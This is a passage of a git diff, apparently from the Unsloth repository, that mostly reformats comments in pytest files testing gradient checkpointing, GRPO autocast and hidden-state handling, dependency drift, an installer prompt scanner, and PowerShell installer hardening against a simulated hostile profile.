real paths.--@pytest.mark.parametrize("base, expected",[diff --git a/tests/test_gradient_checkpointing_restore.py b/tests/test_gradient_checkpointing_restore.pyindex ee9ef163b6c..19611028b7d 100644--- a/tests/test_gradient_checkpointing_restore.py+++ b/tests/test_gradient_checkpointing_restore.py@@ -68,9 +68,8 @@ class _Self:# (recorded on model, args.gradient_checkpointing, expected restored value)-# The point of the fix: a recorded mode wins over args, and a recorded ``None``-# (a valid setup value) is restored verbatim rather than collapsing to the-# args fallback the way a ``None`` sentinel would.+# The point of the fix: a recorded mode wins over args, and a recorded ``None`` (a valid setup value) is restored+# verbatim rather than collapsing to the args fallback the way a ``None`` sentinel would._MATRIX = [("unsloth", False, "unsloth"), # the #4735 case: args=False must NOT win(True, False, True),@@ -145,9 +144,8 @@ def test_prepare_for_training_mode_block_semantics():def test_prepare_block_tolerates_missing_model():- # gemini flagged the unguarded self.model access: the block reads self.model via- # getattr(self, 'model', None), so a trainer without a .model attribute must fall- # back to args rather than raising AttributeError.+ # gemini flagged the unguarded self.model access: the block reads self.model via getattr(self, 'model', None), so a+ # trainer without a .model attribute must fall back to args rather than raising AttributeError.block = _extract_prepare_restore_block()args = _Obj(gradient_checkpointing = True)self_no_model = _Self(model = None, args = args) # _Self leaves .model unset when model is None@@ -158,10 +156,9 @@ def test_prepare_block_tolerates_missing_model():def test_recording_sites_are_real_module_code():- # The recording side (unlike the restore side) is real module code, not a template- # string. Assert it's present at the choke point (patch_peft_model, so loaded adapters- # are covered) and at the pre-wrapped pass-through, both of which bypass the old- # get_peft_model-only recording.+ # The recording side (unlike the restore side) is real module code, not a template string.+ # Assert it's present at the choke point (patch_peft_model, so loaded adapters are covered) and at the pre-wrapped+ # pass-through, both of which bypass the old get_peft_model-only recording.llama = (_ROOT / "llama.py").read_text(encoding = "utf-8")tree = ast.parse(llama)diff --git a/tests/test_grouped_gemm_optional_gather_indices.py b/tests/test_grouped_gemm_optional_gather_indices.pyindex 510ca8c338c..3a61b0fd3a2 100644--- a/tests/test_grouped_gemm_optional_gather_indices.py+++ b/tests/test_grouped_gemm_optional_gather_indices.py@@ -41,8 +41,7 @@ requires_cuda = pytest.mark.skipif(not CUDA, reason = "grouped GEMM needs a realNUM_EXPERTS = 2TOKENS_PER_EXPERT = 4TOTAL_TOKENS = NUM_EXPERTS * TOKENS_PER_EXPERT-# The dX and dW kernels static_assert that N and K divide the autotuned block-# sizes, and those go up to 256.+# The dX and dW kernels static_assert that N and K divide the autotuned block sizes, and those go up to 256.N = K = 256diff --git a/tests/test_grpo_autocast_disabled.py b/tests/test_grpo_autocast_disabled.pyindex c5ecafac7b0..ebcb7694156 100644--- a/tests/test_grpo_autocast_disabled.py+++ b/tests/test_grpo_autocast_disabled.py@@ -48,11 +48,8 @@ SRC = RL_REPLACEMENTS.read_text(encoding = "utf-8")# ---- the premise ---------------------------------------------------------#-# Every check drives torch.amp.autocast(device_type = "cuda"), and on a CPU-# runner torch hands back a no-op instead. Claiming the device is present is-# what lets these run anywhere; only torch's dispatch decisions are needed.--+# Every check drives torch.amp.autocast(device_type = "cuda"), and on a CPU runner torch hands back a no-op instead.+# Claiming the device is present is what lets these run anywhere; only torch's dispatch decisions are needed.class _pretend_cuda:"""torch.cuda answering as a card without bfloat16, or with it."""@@ -132,8 +129,8 @@ def test_the_injected_snippet_is_valid_python():@pytest.mark.parametrize("precision,has_bf16,expect_enabled",[- # The T4/V100 case, where the bug bites. accelerate never asks for bf16- # on this hardware, so that pairing is not a case.+ # The T4/V100 case, where the bug bites. accelerate never asks for bf16 on this hardware, so that pairing is not+ # a case.("no", False, False),("fp16", False, True),(None, False, True),diff --git a/tests/test_grpo_autocast_per_trainer.py b/tests/test_grpo_autocast_per_trainer.pyindex 59e9e29732e..44dcef2587b 100644--- a/tests/test_grpo_autocast_per_trainer.py+++ b/tests/test_grpo_autocast_per_trainer.py@@ -148,8 +148,8 @@ def _build_trainer()env.setdefault("UNSLOTH_FORCE_FLOAT32", "0")if mark_forced_float32:- # What from_pretrained stamps on the model. `forced_float32` sets it apart- # from the env, which is what an earlier load leaves behind.+ # What from_pretrained stamps on the model.+ # `forced_float32` sets it apart from the env, which is what an earlier load leaves behind.model._unsloth_forced_float32 = ((env["UNSLOTH_FORCE_FLOAT32"] == "1") if forced_float32 is None else forced_float32)diff --git a/tests/test_grpo_hidden_states_logits_cost.py b/tests/test_grpo_hidden_states_logits_cost.pyindex 882536f13aa..be82ffe5c79 100644--- a/tests/test_grpo_hidden_states_logits_cost.py+++ b/tests/test_grpo_hidden_states_logits_cost.py@@ -119,8 +119,6 @@ def test_the_fake_output_really_does_reproduce_the_trap():out.pop("hidden_states")-# ---------------------------------------------------------------------------# dropping the spare layers# --------------------------------------------------------------------------def test_the_spare_layers_leave_the_mapping_not_just_the_attribute():"""A consumer that walks the object as a mapping is the one that matters."""diff --git a/tests/test_grpo_hidden_states_signal.py b/tests/test_grpo_hidden_states_signal.pyindex af3c35d6aff..0eba609444e 100644--- a/tests/test_grpo_hidden_states_signal.py+++ b/tests/test_grpo_hidden_states_signal.py@@ -282,8 +282,8 @@ class _SquareModel:self.lm_head = lm_headself.returns_hidden_states = returns_hidden_statesif signal == "compiled":- # the compiler writes the marker onto the class it generated, so give- # this instance its own class rather than marking every _SquareModel+ # The compiler writes the marker onto the class it generated, so give this instance its own class rather+ # than marking every _SquareModel.self.__class__ = type("_CompiledSquareModel", (_SquareModel,), {MARKER: True})elif signal in ("wrapped", "degraded"):setattr(self, WRAPPED, True)diff --git a/tests/test_grpo_packed_raw_logits_nograd.py b/tests/test_grpo_packed_raw_logits_nograd.pyindex ee60f317c3c..b551d0369d8 100644--- a/tests/test_grpo_packed_raw_logits_nograd.py+++ b/tests/test_grpo_packed_raw_logits_nograd.py@@ -154,8 +154,6 @@ _completion_mask_of = HELPERS["create_completion_attention_mask"]_left_pad_of = HELPERS["calculate_pad_tokens_in_prompt"]-# ----------------------------------------------------------------------------# Stub model# ---------------------------------------------------------------------------@@ -182,8 +180,8 @@ class _Model(torch.nn.Module):self.hidden_states = hidden_statesself.calls = []if degraded:- # what _install_grpo_hidden_states_forward_wrapper in unsloth/models/rl.py- # leaves behind when it could not get hidden states out of the model+ # What _install_grpo_hidden_states_forward_wrapper in unsloth/models/rl.py leaves behind when it could+ # not get hidden states out of the model.self._unsloth_grpo_hidden_states_forward_wrapped = Trueself._unsloth_grpo_hidden_states_warning_issued = True@@ -284,8 +282,6 @@ def _packed_block_source():# ----------------------------------------------------------------------------# Driver-# ---------------------------------------------------------------------------def _batch():@@ -372,8 +368,6 @@ def _reference_logprobs(model, input_ids, max_left_pad):# ----------------------------------------------------------------------------# Tests-# ---------------------------------------------------------------------------def test_packed_path_survives_a_forward_that_returns_real_logits():diff --git a/tests/test_grpo_padded_raw_logits.py b/tests/test_grpo_padded_raw_logits.pyindex 3fd3f526b76..6383e86b6ad 100644--- a/tests/test_grpo_padded_raw_logits.py+++ b/tests/test_grpo_padded_raw_logits.py@@ -113,6 +113,9 @@ _BLOCK_SOURCE = _extract_padded_loop_source()_BLOCK_CODE = compile(_BLOCK_SOURCE, "<rl_replacements padded loop>", "exec")+# The real unsloth_zoo helpers when available, eager mirrors when not.++# ── Helpers: the real unsloth_zoo ones when available, eager mirrors when not ─@@ -359,10 +362,8 @@ def test_extracted_block_is_the_padded_loop():assert len(loops) == 1assert isinstance(loops[0].iter, ast.Name) and loops[0].iter.id == _LOOP_ITERABLE- # Both arms of the branch inside the loop must dispatch through the shared- # helper, which is what compares the width and consults the explicit- # UNSLOTH_RETURN_HIDDEN_STATES signal. Counted structurally, never by text- # search.+ # Both arms of the branch inside the loop must dispatch through the shared helper, which is what compares the width+ # and consults the explicit UNSLOTH_RETURN_HIDDEN_STATES signal.dispatch_tests = [nodefor node in ast.walk(loops[0])diff --git a/tests/test_ignored_tokenizer_casing.py b/tests/test_ignored_tokenizer_casing.pyindex aeeea981fca..b6190b1ac75 100644--- a/tests/test_ignored_tokenizer_casing.py+++ b/tests/test_ignored_tokenizer_casing.py@@ -26,8 +26,8 @@ class _Tok:def _fake_auto_tokenizer():- # _load_correct_tokenizer loads a slow tokenizer (from_slow = True) and a fast one;- # return distinguishable stand-ins so we can see which one is returned.+ # _load_correct_tokenizer loads a slow tokenizer (from_slow = True) and a fast one; return distinguishable stand-ins+ # so we can see which one is returned.def from_pretrained(name, **kwargs):return _Tok("slow" if kwargs.get("from_slow") else "fast")@@ -35,10 +35,6 @@ def _fake_auto_tokenizer():def test_ignored_tokenizer_name_matched_case_insensitively():- # IGNORED_TOKENIZER_NAMES is stored fully lowercased, but users pass canonical- # mixed-case ids. The names in this list (e.g. the Qwen2.5-Coder tokenizers) must be- # returned untouched; before the fix the mixed-case name never matched, so it fell- # through into the slow/fast reconciliation + conversion path.name = "unsloth/Qwen2.5-Coder-7B-Instruct" # name.lower() is in IGNORED_TOKENIZER_NAMESassert name.lower() in tu.IGNORED_TOKENIZER_NAMES # guard the test's own premisediff --git a/tests/test_import_fixes_drift.py b/tests/test_import_fixes_drift.pyindex e47d232b6aa..208ac46eba3 100644--- a/tests/test_import_fixes_drift.py+++ b/tests/test_import_fixes_drift.py@@ -46,9 +46,6 @@ def _safe_version(raw):return _PkgVersion(match.group(0))-# protobuf--def test_protobuf_message_factory_get_prototype_or_get_message_class_present():"""``fix_message_factory_issue``."""mf = pytest.importorskip("google.protobuf.message_factory")@@ -69,9 +66,6 @@ def test_protobuf_message_factory_get_prototype_or_get_message_class_present():assert has_get_prototype or has_get_message_class-# datasets--def test_datasets_version_not_in_broken_recursion_range():"""``patch_datasets``: datasets 4.4.0-4.5.0 hit RLock recursion in the Arrow loader."""pytest.importorskip("datasets")@@ -85,9 +79,6 @@ def test_datasets_version_not_in_broken_recursion_range():)-# trl--def test_trl_is_x_available_returns_bool_not_tuple():"""``fix_trl_vllm_ascend``: TRL's ``is_*_available`` must still return boolsafter transformers >=4.48 made ``_is_package_available`` return a tuple."""@@ -154,9 +145,6 @@ def test_trl_cached_available_flags_are_not_tuples():)-# transformers--def test_pretrained_model_enable_input_require_grads_uses_old_pattern():"""``patch_enable_input_require_grads``: HF PR #41993 madeenable_input_require_grads iterate ``self.modules()``, so vision submodules@@ -215,9 +203,6 @@ def test_transformers_is_causal_conv1d_available_symbol_present():)-# transformers + accelerate (wandb checkers)--def test_transformers_and_accelerate_is_wandb_available_callable():"""``disable_broken_wandb``: patches is_wandb_available in three modules(transformers integration_utils + accelerate imports/utils); all must exist."""@@ -243,9 +228,6 @@ def test_transformers_and_accelerate_is_wandb_available_callable():)-# peft--def test_peft_transformers_weight_conversion_importable_and_signature():"""``patch_peft_weight_converter_compatibility``: wraps build_peft_weight_mapping;silently no-ops if the module is unimportable."""@@ -271,9 +253,6 @@ def test_peft_transformers_weight_conversion_importable_and_signature():)-# triton--def test_triton_compiled_kernel_has_num_ctas_and_cluster_dims():"""``fix_triton_compiled_kernel_missing_attrs``: triton 3.6+ droppednum_ctas/cluster_dims on CompiledKernel, but Inductor's make_launcher needs them."""@@ -282,8 +261,8 @@ def test_triton_compiled_kernel_has_num_ctas_and_cluster_dims():tc = pytest.importorskip("triton.compiler.compiler")ck_cls = tc.CompiledKernel- # Healthy if pre-3.6 class attr present, or __init__ wrapped to install- # num_ctas + cluster_dims per instance (the post-3.6 fix).+ # Healthy if the pre-3.6 class attr is present, or __init__ is wrapped to install num_ctas + cluster_dims per+ # instance (the post-3.6 fix).if hasattr(ck_cls, "num_ctas"):returninit = getattr(ck_cls, "__init__", None)@@ -304,9 +283,6 @@ def test_triton_compiled_kernel_has_num_ctas_and_cluster_dims():)-# torch + torchvision pairing table--# Mirrors TORCH_TORCHVISION_COMPAT in torchvision_compatibility_check._TORCH_TORCHVISION_COMPAT = {(2, 9): (0, 24),@@ -366,9 +342,6 @@ def test_installed_torch_torchvision_pair_is_compatible():)-# vllm--def test_vllm_guided_decoding_params_or_structured_outputs_present():"""``fix_vllm_guided_decoding_params``: vLLM PR #22772 renamedGuidedDecodingParams -> StructuredOutputsParams; the fix re-aliases for trl."""@@ -408,9 +381,6 @@ def test_vllm_aimv2_ovis_config_is_past_fix_version():)-# huggingface_hub--def test_huggingface_hub_is_offline_mode_or_hf_hub_offline_present():"""``fix_huggingface_hub``: re-injects top-level ``is_offline_mode`` from``constants.HF_HUB_OFFLINE`` after huggingface_hub dropped it."""@@ -435,9 +405,6 @@ def test_huggingface_hub_is_offline_mode_or_hf_hub_offline_present():)-# torch--def test_torch_nn_init_trunc_normal_exists():"""``patch_trunc_normal_precision_issue``: fp16/bf16 wrapper monkey-patchestorch.nn.init.trunc_normal_, which must still exist."""@@ -450,9 +417,6 @@ def test_torch_nn_init_trunc_normal_exists():)-# xformers--def test_xformers_is_post_num_splits_key_fix_or_not_installed():"""``fix_xformers_performance_issue``: xformers <0.0.29 has the``num_splits_key=-1`` perf bug Unsloth rewrites at install time."""@@ -468,9 +432,6 @@ def test_xformers_is_post_num_splits_key_fix_or_not_installed():)-# transformers (PreTrainedModel base import sanity)--def test_transformers_pretrained_model_has_get_input_embeddings():"""``patch_enable_input_require_grads``: its replacement calls``get_input_embeddings`` per submodule, so the accessor must still exist."""@@ -483,15 +444,9 @@ def test_transformers_pretrained_model_has_get_input_embeddings():)-# accelerate -- ``is_X_available`` API stability used across the fixes---# Regression for https://github.com/unslothai/unsloth/issues/4188:-# Qwen3_5ForConditionalGeneration uses loss_type='ForConditionalGeneration', a-# separate LOSS_MAPPING key left unpatched, falling back to stock ForCausalLMLoss-# whose logits.float() OOMs on <=24 GB GPUs.--+# Regression for https://github.com/unslothai/unsloth/issues/4188: Qwen3_5ForConditionalGeneration uses+# loss_type='ForConditionalGeneration', a separate LOSS_MAPPING key left unpatched, falling back to stock+# ForCausalLMLoss whose logits.float() OOMs on <=24 GB GPUs.def _reset_loss_mapping(mapping, saved):mapping.clear()mapping.update(saved)@@ -590,7 +545,6 @@ def test_accelerate_gather_empty_logits_debug_mode_patch():e = EmptyLogits()patch_accelerate_recursively_apply()- # Enable debug mode and mock a 2-process distributed statestate = PartialState()orig_debug = state.debugorig_dist_type = state.distributed_type@@ -629,11 +583,9 @@ def test_accelerate_gather_empty_logits_debug_mode_patch():):state.device = torch.device("cpu")- # Top-level EmptyLogits gathers to itselfres = acc_ops.gather(e)assert res is e- # Nested EmptyLogitsres_nested = acc_ops.gather([e])assert isinstance(res_nested, list) and res_nested[0] is e@@ -648,11 +600,9 @@ def test_accelerate_gather_empty_logits_debug_mode_patch():# num_processes = 2 -> gathered to [42, 42]assert torch.equal(res_mixed["labels"], torch.tensor([42, 42], device = state.device))- # Broadcast with EmptyLogitsres_broadcast = acc_ops.broadcast(e)assert res_broadcast is e- # Mixed payload broadcastres_broadcast_mixed = acc_ops.broadcast(payload)assert isinstance(res_broadcast_mixed, dict)assert res_broadcast_mixed["logits"] is e@@ -697,8 +647,8 @@ def test_accelerate_find_device_skips_empty_logits():assert acc_ops.find_device({"logits": EmptyLogits(), "labels": tensor}) == tensor.device# Tensor-free payloads keep returning None (AlignDevicesHook needs it to skip moves)assert acc_ops.find_device({"a": 1}) is None- # Sentinel-only payloads fall back to current device so debug-mode- # find_device(...).type doesn't raise AttributeError+ # Sentinel-only payloads fall back to current device so debug-mode find_device(...).type doesn't raise+ # AttributeErrorassert acc_ops.find_device(EmptyLogits()) == PartialState().device@@ -772,9 +722,8 @@ def test_psutil_cpu_freq_shape_and_wiring():psutil = pytest.importorskip("psutil")if getattr(psutil, "cpu_freq", None) is None:- # On macOS psutil decides at runtime whether to expose cpu_freq at all- # (an absent one is normal on virtualised Apple Silicon), so its absence- # is only drift off that platform.+ # On macOS psutil decides at runtime whether to expose cpu_freq at all (an absent one is normal on virtualised+ # Apple Silicon), so its absence is only drift off that platform.if platform.system() == "Darwin" and platform.machine() == "arm64":pytest.skip("this Apple Silicon host exposes no psutil.cpu_freq")pytest.fail(diff --git a/tests/test_installer_interactive_prompts.py b/tests/test_installer_interactive_prompts.pyindex be6de48be7e..b5e4567f697 100644--- a/tests/test_installer_interactive_prompts.py+++ b/tests/test_installer_interactive_prompts.py@@ -26,10 +26,9 @@ import pytestREPO_ROOT = Path(__file__).resolve().parents[1]-# What a user runs to install, update or remove Unsloth. Everything these launch-# in turn is scanned too (`unsloth studio update` runs setup.sh, which builds-# whisper.cpp; install.sh fetches and runs the WSL bootstrap), since a question-# down there stalls the same install.+# What a user runs to install, update or remove Unsloth.+# Everything these launch in turn is scanned too (`unsloth studio update` runs setup.sh, which builds whisper.cpp;+# install.sh fetches and runs the WSL bootstrap), since a question down there stalls the same install.ENTRY_POINTS = ("install.sh","install.ps1",@@ -55,9 +54,8 @@ SCANNED_SCRIPTS = ENTRY_POINTS + ("studio/backend/requirements/single-env/patch_metadata.py",)-# Every question these scripts may ask, keyed by (script, normalised-# question) because line numbers move and wording does not. Do NOT add an-# entry just to turn a build green: decide the prompt is wanted first.+# Every question these scripts may ask, keyed by (script, normalised question) because line numbers move and wording+# does not. Do NOT add an entry just to turn a build green: decide the prompt is wanted first.APPROVED_PROMPTS: dict[tuple[str, str], str] = {("install.sh", "start unsloth studio now?"): ("The one sanctioned preference prompt: launch Unsloth after install."@@ -79,18 +77,17 @@ _MARKER = re.compile(r"\[\s*[yn]\s*/\s*[yn]\s*\]|\(\s*[yn]\s*/\s*[yn]\s*\)|\byes\s*/\s*no\b", re.IGNORECASE)-# Anything that blocks waiting on a human. `-p` is matched as an option word, not-# anchored on whitespace: it may be bundled (`read -rp`) or follow `read` directly.-# The scan stops at `;|&`, since a `mkdir -p` later on the line is another command.+# Anything that blocks waiting on a human. `-p` is matched as an option word, not anchored on whitespace: it may be+# bundled (`read -rp`) or follow `read` directly. The scan stops at `;|&`, since a `mkdir -p` later on the line is+# another command._POSIX_READ = re.compile(r"(?:^|[\s;&|(])read\s+(?![a-zA-Z_]+=)"r"(?:-[a-zA-Z]*p(?=[\s\"']|$)|[^\n;|&]*?(?:<\s*/dev/tty|\s-[a-zA-Z]*p(?=[\s\"']|$)))")-# An unredirected `read` takes the terminal it inherited, so it blocks too. Loop-# and pipeline reads are fed by the `done < ...` or the pipe: data, not questions.-# Options then variable names to end of line, in command position, so the word-# `read` in a heredoc of prose is not a prompt.+# An unredirected `read` takes the terminal it inherited, so it blocks too. Loop and pipeline reads are fed by the+# `done < ...` or the pipe: data, not questions. Options then variable names to end of line, in command position, so+# the word `read` in a heredoc of prose is not a prompt._BARE_READ = re.compile(r"(?:^|[;&(]|\b(?:if|elif|then|else)\b)\s*!?\s*(?:[A-Za-z_][A-Za-z0-9_]*=\S*\s+)*"# No variable name at all is valid: the answer lands in $REPLY.@@ -99,8 +96,8 @@ _BARE_READ = re.compile()_LOOP = re.compile(r"\b(?:while|until|for)\b")-# `select reply in Yes No` is the other builtin that blocks for an answer; its-# question is the PS3 assignment above it, which the nearby scan already reads.+# `select reply in Yes No` is the other builtin that blocks for an answer; its question is the PS3 assignment above it,+# which the nearby scan already reads._SELECT = re.compile(r"(?:^|[;&(])\s*select\s+[A-Za-z_][A-Za-z0-9_]*\s+in\s")_PWSH_READ = re.compile(@@ -113,18 +110,17 @@ _PY_READ = re.compile(r"(?<![.\w])(?:input|getpass)\s*\(|getpass\.getpass\s*\("r"|click\.confirm\s*\(|sys\.stdin(?:\.buffer)?\.read(?:line)?\s*\(")-# In command position: starting the line or a `&`-joined command, after `do`, or-# as the body of a single-line `if`. Echoing the word `choice` is not a prompt.-# `pause` asks nothing but waits for a keypress, which stalls setup just the same.+# In command position: starting the line or a `&`-joined command, after `do`, or as the body of a single-line `if`.+# Echoing the word `choice` is not a prompt. `pause` asks nothing but waits for a keypress, which stalls setup just+# the same._BAT_READ = re.compile(r"(?:^\s*|[&(]\s*|\bdo\s+)@?\s*(?:set\s+/p\b|choice\b|pause\b)"r"|^\s*@?\s*(?:if|else)\b.*?\s(?:set\s+/p\b|choice\b|pause\b)",re.IGNORECASE,)-# A helper filename, with or without its `scripts/` prefix: sibling invocations-# such as "$SCRIPT_DIR/build_deps.sh" carry no prefix. Resolved against the repo-# before it counts, so a name that is not a real script is ignored.+# A helper filename, with or without its `scripts/` prefix: sibling invocations such as "$SCRIPT_DIR/build_deps.sh"+# carry no prefix. Resolved against the repo before it counts, so a name that is not a real script is ignored._HELPER_REF = re.compile(r"(?<![$\w])((?:[A-Za-z0-9_.-]+[\\/])*[A-Za-z0-9_.-]+\.(?:sh|ps1|py|bat))")_QUOTED = re.compile(r'"([^"\\]*(?:\\.[^"\\]*)*)"' r"|'([^']*)'")@@ -135,8 +131,8 @@ _FIELD = re.compile(r"\{[^}]*\(")# `<# ... #>` opened and closed on one line._INLINE_BLOCK = re.compile(r"<#.*?#>", re.DOTALL)-# `@' ... '@` is literal, unlike the expandable `@" ... "@`. The uninstaller prints-# its help from one and install.ps1 embeds source in the other.+# `@' ... '@` is literal, unlike the expandable `@" ... "@`. The uninstaller prints its help from one and install.ps1+# embeds source in the other._HERESTRING_OPEN = re.compile(r"@'\s*$")_HERESTRING_CLOSE = re.compile(r"^\s*'@")@@ -191,17 +187,16 @@ def _is_interactive_read(if script.endswith(".py"):return bool(_PY_READ.search(code))if script.endswith(".bat"):- # `set /p version=<VERSION.txt` reads the file, not the user, but the- # redirection belongs to that command alone.+ # `set /p version=<VERSION.txt` reads the file, not the user, but the redirection belongs to that command alone.return any("<" not in part and _BAT_READ.search(part) for part in code.split("&"))if _POSIX_READ.search(code) or _SELECT.search(code):return True- # Inside a file-fed loop only a bare read consumes the file: an explicit- # /dev/tty or -p read above overrode it and still waits on the terminal.+ # Inside a file-fed loop only a bare read consumes the file: an explicit /dev/tty or -p read above overrode it and+ # still waits on the terminal.if loop_input:return False- # Per command: in `read -r reply; echo done | tee log` the pipe is the echo's.- # `||` is a fallback, not a pipeline, and leaves the read on the terminal.+ # Per command: in `read -r reply; echo done | tee log` the pipe is the echo's. `||` is a fallback, not a pipeline,+ # and leaves the read on the terminal.for command in code.split(";"):piped = "|" in command.replace("||", "")if "<" not in command and not piped and _BARE_READ.search(command):@@ -209,8 +204,8 @@ def _is_interactive_read(return False-# `<<EOF`, not the `<<<` here-string, and not inside a quoted string: install.sh-# prints a shell-profile marker containing `# <<< Unsloth ... <<<`.+# `<<EOF`, not the `<<<` here-string, and not inside a quoted string: install.sh prints a shell-profile marker+# containing `# <<< Unsloth ... <<<`._HEREDOC = re.compile(r"<<(?!<)-?\s*[\"']?([A-Za-z_][A-Za-z0-9_]*)[\"']?")_INTERPRETER = re.compile(r"\b(?:python[0-9.]*|node|perl|ruby|osascript)\b[^<]*<<")@@ -230,12 +225,12 @@ def _blank_heredocs(lines: list[str]) -> list[str]:# Openers come from code: not from a string, not from an inline comment.code = _blank_strings(line).split("#")[0]match = _HEREDOC.search(code)- # `python - <<PY` runs its body. Blanking that would hide real code, which- # is the one thing worse than scanning it as shell.+ # `python - <<PY` runs its body. Blanking that would hide real code, which is the one thing worse than+ # scanning it as shell.if match and not _INTERPRETER.search(code):terminator, start = match.group(1), index + 1- # An unterminated opener was not one. Blanking to EOF would silently blind the- # scan for the rest of the file, prompts included.+ # An unterminated opener was not one. Blanking to EOF would silently blind the scan for the rest of the file,+ # prompts included.return out@@ -251,8 +246,7 @@ def _redirected_loop_bodies(lines: list[str]) -> set[int]:if not opened:continuestart = opened.pop()- # Only stdin feeds them: `done | tee` pipes the output away, and- # `done 3<config` opens a spare descriptor.+ # Only stdin feeds them: `done | tee` pipes the output away, and `done 3<config` opens a spare descriptor.if re.search(r"(?<![1-9])<", line):inside.update(range(start, index))return inside@@ -298,8 +292,8 @@ def blank_comments(source: str, script: str) -> str:lines.append(line.split("#>", 1)[1] if "#>" in line else "")in_block = "#>" not in linecontinue- # A comment naming a delimiter is not one: reading it as an opener would- # blank the rest of the file and take every prompt in it out of the scan.+ # A comment naming a delimiter is not one: reading it as an opener would blank the rest of the file and take+ # every prompt in it out of the scan.if _is_comment(line) or (batch and re.match(r"\s*(?:REM\b|::)", line, re.IGNORECASE)):lines.append("")continue@@ -525,9 +519,8 @@ def test_helpers_the_installers_invoke_are_scanned():path = REPO_ROOT / scriptsource = blank_comments(path.read_text(encoding = "utf-8"), script)for match in _HELPER_REF.finditer(source):- # Below the script that names it, below the repo, or in scripts/, by- # full path and by name so a URL still resolves to the local copy.- # What resolves nowhere is a filename in a message, not an invocation.+ # Below the script that names it, below the repo, or in scripts/, by full path and by name so a URL still+ # resolves to the local copy. What resolves nowhere is a filename in a message, not an invocation.reference = match.group(1).replace("\\", "/")name = reference.rsplit("/", 1)[-1]for candidate in (@@ -560,8 +553,8 @@ def test_the_workflow_runs_for_every_scanned_script():if collecting is not None and entry:collecting.append(entry.group(1))continue- # A comment or a blank line inside the list does not end it. Treating one as the end- # dropped every filter after it, so this guard passed while reading nothing.+ # A comment or a blank line inside the list does not end it. Treating one as the end dropped every filter+ # after it, so this guard passed while reading nothing.if collecting is not None and (not line.strip() or line.strip().startswith("#")):continueif collecting:@@ -605,8 +598,6 @@ def test_approved_prompts_are_documented():# Detector self-tests: a scan that silently stops matching passes everything.--def test_detects_literal_marker_prompt():source = 'printf " Enable telemetry? [Y/n] "\nread -r _reply </dev/tty || _reply="n"\n'assert find_prompts("install.sh", source) == [("install.sh", 1, "enable telemetry?")]diff --git a/tests/test_installer_profile_hardening.py b/tests/test_installer_profile_hardening.pyindex a5ae59264ec..e2658fc3253 100644--- a/tests/test_installer_profile_hardening.py+++ b/tests/test_installer_profile_hardening.py@@ -142,7 +142,7 @@ def test_profile_hardening_precedes_every_use_it_protects():def test_script_scoped_uv_state_is_reset_per_invocation():"""Same hazard as $script:IsIntelXpu: under irm | iex, $script: is the caller's session."""src = _install_ps1()- # Anchored on the newline plus exactly four spaces. The real assignments sit deeper in the+ # Anchored on the newline plus exactly four spaces: the real assignments sit deeper in the# function and would otherwise satisfy this by accident, which is how a dropped reset for# $script:UvInstallDestDir once slipped past.for reset, first_read in (@@ -207,7 +207,6 @@ def test_setup_ps1_handoff_never_inherits_the_profile():# ── executable: run the extracted code under a hostile profile ──-_HOSTILE_PROFILE = """Set-StrictMode -Version LatestSet-Alias uv Write-Host@@ -256,12 +255,9 @@ def _hostile_env(home.mkdir(parents = True, exist_ok = True)drive, tail = os.path.splitdrive(str(home))env.update({"HOME": str(home), "USERPROFILE": str(home), "HOMEDRIVE": drive, "HOMEPATH": tail})- # HOME on its own does not move $PROFILE on Unix: PowerShell reads $XDG_CONFIG_HOME first and- # only falls back to $HOME/.config when it is unset, and GitHub's ubuntu image writes- # XDG_CONFIG_HOME into /etc/environment, so an inherited value kept naming the real account- # and this file's isolation leaked on a hosted runner and nowhere else. Pointed at the- # directory HOME already implies, so the two rules agree whichever the host applies. Windows- # ignores it: $PROFILE comes from the known-folder API there.+ # HOME on its own does not move $PROFILE on Unix: PowerShell reads $XDG_CONFIG_HOME first and only falls back to+ # $HOME/.config when it is unset, and GitHub's ubuntu image writes XDG_CONFIG_HOME into /etc/environment, so an+ # inherited value kept naming the real account and this file's isolation leaked on a hosted runner and nowhere else.env["XDG_CONFIG_HOME"] = str(home / ".config")if path_override is not None:path_override.mkdir(parents = True, exist_ok = True)@@ -332,8 +328,6 @@ def _run_with_profile(script = tmp_path / "body.ps1"script.write_text(f". {_ps_literal(profile_path)}\n{body}\n", encoding = "utf-8")# Absolute path: PATH is replaced in some cases, so pwsh could not be found by name.- # This helper carries most of the hostile-profile suite, so an interpreter crash here would- # be reported once per test as the installer failing to survive a hostile profile.return run_pwsh([shutil.which("pwsh") or "pwsh", "-NoProfile", "-NonInteractive", "-File", str(script)],capture_output = True,@@ -374,18 +368,17 @@ def test_a_real_profile_reproduces_the_same_state(tmp_path):"""env = _hostile_env(tmp_path)paths = _profile_paths(env)- # The two machine-wide profiles load into the real leg only and no environment variable can- # move them, so one touching a probed setting would read as a divergence that says nothing- # about the simulation. Neither ships with PowerShell, so this skip is for an administered- # host, and it names the file so the reason is checkable.+ # The two machine-wide profiles load into the real leg only and no environment variable can move them, so one+ # touching a probed setting would read as a divergence that says nothing about the simulation. Neither ships with+ # PowerShell, so this skip is for an administered host, and it names the file so the reason is checkable.for scope in ("AllUsersAllHosts", "AllUsersCurrentHost"):if paths[scope].is_file():pytest.skip(f"a machine-wide profile at {paths[scope]} loads into the real leg only")profile = paths["CurrentUserCurrentHost"]- # Not an assert: on a host whose $PROFILE cannot be redirected into the fixture at all, the- # real leg would load whatever the actual account has (or nothing) and prove nothing either- # way. XDG_CONFIG_HOME in _hostile_env is what keeps this true on Linux and macOS, so the- # skip is unreachable there and a regression in the simulation still fails locally and in CI.+ # Not an assert: on a host whose $PROFILE cannot be redirected into the fixture at all, the real leg would load+ # whatever the actual account has (or nothing) and prove nothing either way. XDG_CONFIG_HOME in _hostile_env is what+ # keeps this true on Linux and macOS, so the skip is unreachable there and a regression in the simulation still+ # fails locally and in CI.if tmp_path not in profile.parents:pytest.skip(f"pwsh resolves $PROFILE to {profile}, which this fixture cannot plant into")profile.parent.mkdir(parents = True, exist_ok = True)@@ -407,8 +400,8 @@ def test_a_real_profile_reproduces_the_same_state(tmp_path):)assert real.returncode == 0, f"stdout={real.stdout!r} stderr={real.stderr!r}"simulated = _run_with_profile(tmp_path, _STATE_PROBE)- # All four probes coming back at their defaults means the file was planted somewhere pwsh- # does not read, which is a broken fixture rather than a divergence; the path says which.+ # All four probes coming back at their defaults means the file was planted somewhere pwsh does not read, which is a+ # broken fixture rather than a divergence; the path says which.assert _probe_lines(real.stdout) == _probe_lines(simulated.stdout), (f"dot-sourced profile diverges from the one pwsh loaded from {profile}: "f"{_probe_lines(simulated.stdout)} vs {_probe_lines(real.stdout)}"@@ -668,8 +661,8 @@ def 